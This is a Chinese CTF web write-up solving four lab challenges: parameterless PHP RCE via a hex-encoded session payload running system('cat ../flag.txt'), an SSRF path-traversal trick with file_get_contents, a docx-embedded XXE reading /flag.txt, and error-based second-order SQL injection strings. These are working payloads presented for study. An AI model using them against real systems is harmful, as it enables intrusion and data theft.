[易霖博YCTF]Web WriteUp


中午隊里師傅發到群里的比賽,借來隊里師傅賬號和隊里其他師傅一起做了一下,ak了web,師傅們tql。學到挺多東西,總結一下。

rce_nopar

進入題目給出源碼:

<?php
if(isset($_GET['var'])){
        if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['var'])) {   //很明顯的無參RCE
                if (!preg_match('/et|dir|na|info|dec|oct|pi|log/i', $_GET['var'])) {
                    eval($_GET['var']);
                }
        }
        else{
            die("Sorry!");
        }
}
else{
    show_source(__FILE__);
}
?>

很明顯的無參RCE,其次用正則過濾了一些函數,像是file_get_contents()就無法使用,但是依舊可以用session_id()來從session中繞過過濾獲取命令,構造Payload:

eval(hex2bin(session_id(session_start())));

Session: 73797374656D2827636174202E2E2F666C61672E74787427293B   //HEX編碼后的system('cat ../flag.txt');

hex一下的原因是SESSION只能含有字母數字,所以編碼一下就能正常傳入session了

修改sesion然后訪問得到Flag:

 

 關於無參RCE可以參考:https://www.cnblogs.com/sylover/p/11863778.html

 

SSRF

 進入題目觀察到URL中有file參數,但是經過編碼了,應該是包含的參數:

base64解碼兩次即可得到ctfimage.jpg

根據題目的提示,實際包含的是flagimage.jpg文件,應該是將flag替換為了ctf。

先讀到index.php看看源碼:

YVc1a1pYZ3VjR2h3  //index.php進行兩次base64編碼

然后復制下面圖片的URL,后面的base64就是index.php的源碼,解碼得到:

<?php
error_reporting(E_ALL || ~E_NOTICE);

header('content-type:text/html;charset=utf-8');
if(! isset($_GET['file']))
    header('Refresh:0;url=./index.php?file=WTNSbWFXMWhaMlV1YW5Cbg==');
$file = base64_decode(base64_decode($_GET['file']));
echo '<title>'.$_GET['file'].'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo 'input_filename:   '. $file.'</br>';
$file = str_replace("ctf","flag", $file);
echo 'real_filename:   '.$file.'</br>';
$txt = base64_encode(file_get_contents($file));
 
echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
 * Can you find the flag file?
 *
 * Hint: hal0flagi5here.php
 */
 

給了hint:hal0flagi5here.php,將其文件名編碼兩次得到 YUdGc01HWnNZV2RwTldobGNtVXVjR2h3

同樣方法得到hal0flagi5here.php的源碼:

<?php
$argv[1]=$_GET['url'];
if(filter_var($argv[1],FILTER_VALIDATE_URL))
{
    $r = parse_url($argv[1]);
    print_r($r);
    if(preg_match('/happyctf\.com$/',$r['host']))
    {
        $url=file_get_contents($argv[1]);
        echo($url);
    }else
    {
        echo("error");
    }

}else
{
    echo "403 Forbidden";
}
?>

然后就是要繞過檢查,這里卡了挺久,因為實在不知道怎么能繞過host的檢查,最后隊里師傅給我上了一課:

file_get_contents()函數如果輸入一個不存在的協議名,像是:

file_get_contents("abc://happyctf.com/../../../flag.txt");

file_get_contents()會爆出一個warning,然后導致目錄穿越,從而實現SSRF攻擊

一道SSRF引發的新PHP黑魔法

php源碼中,在向目標請求時先會判斷使用的協議。如果協議無法識別,就會認為它是個目錄。在本題中,我們構造的abc:/就被PHP識別為了一個目錄,然后把happyctf.com也當作了一層目錄,相當於此時多了兩層目錄,又因為讀取是從根目錄開始的,而不是當前目錄,所以我們需要使用../../穿越這多出來的兩層目錄,讀取到根目錄下的文件:
利用上面的Payload,實際在PHP后端我們讀取的是 /abc:/happyctf.com/../../flag.txt

 

XXE

這道題當時我沒有做出來,但是跟着隊里guoke師傅的方法復現了一遍,所以這里直接引用guoke師傅的wp:

Word導致的XXE,首先可以獲得源碼:

<?php
if(isset($_POST["submit"])) {
    $target_file = getcwd()."/upload/".md5($_FILES["file"]["tmp_name"]);
    if (move_uploaded_file($_FILES["file"]["tmp_name"], $target_file)) {
        try {
            $result = @file_get_contents("zip://".$target_file."#docProps/core.xml");
            $xml = new SimpleXMLElement($result, LIBXML_NOENT);
            $xml->registerXPathNamespace("dc", "http://purl.org/dc/elements/1.1/");
            foreach($xml->xpath('//dc:title') as $title){
                echo "Title '".$title . "' has been added.<br/>";
            }
        } catch (Exception $e){
            echo $e;
            echo "上傳文件不是一個docx文檔.";
        }
    } else {
        echo "上傳失敗.";
    }
}

大致意思就是會通過zip協議來獲取word文檔中的docProps/core.xml中的title值。
做過MISC的知道,word文檔實際上是一個壓縮包。
將doc改為zip,直接右鍵解壓得到

 

 

 修改docProps下的core.xml,此時再看看我們得到的源碼,由於源碼中會輸出title。所以只要略微修改就可以形成一個最簡單的XXE利用:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE root[
  <!ENTITY xxe SYSTEM "/flag.txt">
  ]>
<cp:coreProperties xmlns:cp="http://schemas.openxmlformats.org/package/2006/metadata/core-properties" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:dcterms="http://purl.org/dc/terms/" xmlns:dcmitype="http://purl.org/dc/dcmitype/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><dc:title>&xxe;</dc:title><dc:subject></dc:subject><dc:creator></dc:creator><cp:keywords></cp:keywords><dc:description></dc:description><cp:lastModifiedBy></cp:lastModifiedBy><cp:revision>1</cp:revision><dcterms:created xsi:type="dcterms:W3CDTF">2015-08-01T19:00:00Z</dcterms:created><dcterms:modified xsi:type="dcterms:W3CDTF">2015-09-08T19:22:00Z</dcterms:modified></cp:coreProperties>

修改完core.xml之后將上圖中的所有zip再全部壓縮回去,將拓展名再次修改為doc
上傳即可得到flag

 

 

SQLi

進入題目發現是登錄框,並且有注冊功能。

fuzz發現一下:注冊時候email不能有@,並且過濾了空格 /**/ 和一些語句
登錄之后可以修改密碼,修改密碼時發現可以造成二次注入,所以可以在注冊用戶名處構造語句,利用updatexml()構成報錯二次注入:

Tables

注冊username: admin"||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),0x7e),1)#

XPATH syntax error: '~article,flag,users~'

Column

注冊username: admin"||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_schema=database())),0x7e),1)#

XPATH syntax error: '~title,content,flag,name,pwd,ema'

讀取Flag

注冊username: admin"||updatexml(1,concat(0x7e,(select(flag)from(flag)),0x7e),1)#

XPATH syntax error: '~flag{47de330061}~'


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM